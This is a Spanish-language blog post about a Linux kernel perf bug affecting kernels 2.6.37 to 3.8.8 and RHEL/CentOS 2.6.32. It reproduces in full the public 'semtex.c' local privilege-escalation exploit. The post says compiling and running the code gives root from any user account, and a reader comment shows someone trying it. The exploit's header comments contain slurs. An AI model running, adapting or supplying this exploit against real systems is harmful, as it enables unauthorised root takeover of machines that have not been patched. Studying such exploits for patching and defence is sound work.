Linux kernel exploit desde 2.6.37 a 3.8.8, incluido 2.6.32 de RHEL y sus clones

¡Wow! Estaba ya por no escribir más hoy. Pero acabo de ver en Phoronix que existe un bug en los kernels Linux desde la versión 2.6.37 hasta la 3.8.9 (donde ya se ha corregido). Y que además ha sido portado por Red Hat a su kernel 2.6.32, y por tanto CentOS también lo tiene.

Además ya han sacado un exploit para el bug, por lo visto está presente en la mayoría de las distros más populares. Aunque por lo visto Debian Squeeze no se ve afectado, pero ¿¡y que pasa con Wheezy!?

Más información en:


OK, el exploit permite obtener acceso a la cuenta root desde cualquier usuario simplemete compilando (con gcc) este código:

/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@fucksheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
	int i,j,k;
	uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
	uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
	uint64_t kbase = ((uint64_t)current)>>36;
	uint32_t *fixptr = (void*) AB(1);
	*fixptr = -1;

	for (i=0; i<4000; i+=4) {
		uint64_t *p = (void *)&current[i];
		uint32_t *t = (void*) p[0];
		if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
		for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
			if (((uint32_t*)uids)[k] != t[j+k]) goto next;
			for (i = 0; i < 8; i++) t[j+i] = 0;
			for (i = 0; i < 10; i++) t[j+9+i] = -1;
			return;
next:;		}
	}
}

void sheep(uint32_t off) {
	uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
	int fd = syscall(298, buf, 0, -1, -1, 0);
	assert(!close(fd));
}

int	main() {
	uint64_t  u,g,needle, kbase, *p; uint8_t *code;
	uint32_t *map, j = 5;
	int i;
	struct {
		uint16_t limit;
		uint64_t addr;
	} __attribute__((packed)) idt;
	assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
	memset(map, 0, SIZE);
	sheep(-1); sheep(-2);
	for (i = 0; i < SIZE/4; i++) if (map[i]) {
		assert(map[i+1]);
		break;
	}
	assert(i<SIZE/4);
	asm ("sidt %0" : "=m" (idt));
	kbase = idt.addr & 0xff000000;
	u = getuid(); g = getgid();
	assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
	memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
	memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
		printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
	setresuid(u,u,u); setresgid(g,g,g);
	while (j--) {
		needle = AB(j+1);
		assert(p = memmem(code, 1024, &needle, 8));
		if (!p) continue;
		*p = j?((g<<32)|u):(idt.addr + 0x48);
	}
	sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
	asm("int $0x4");	assert(!setuid(0));
	return execl("/bin/bash", "-sh", NULL);
}

Sacado de http://fucksheep.org/~sd/warez/semtex.c.

Anuncios

8 pensamientos en “Linux kernel exploit desde 2.6.37 a 3.8.8, incluido 2.6.32 de RHEL y sus clones

  1. Muchas gracias por la información, Yo recién estoy volviendo al Linux y aprendiendo, uso Debian Wheezy con kernel 3.2.0-4-amd64, he compilado de esta forma:

    yang@debian:~$ uname -a
    Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.41-2 x86_64 GNU/Linux
    yang@debian:~$ gcc -02 semtex.c
    gcc: error: unrecognized command line option ‘-02’
    yang@debian:~$ gcc  semtex.c
    yang@debian:~$ ./a.out
    2.6.37-3.x x86_64
    sd@fucksheep.org 2010
    a.out: semtex.c:81: main: Assertion `p = memmem(code, 1024, &amp;needle, 8)' failed.

    Abortado
    Tengo gcc a la version 4.7
    Algo haré mal 😀

    Saludos

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s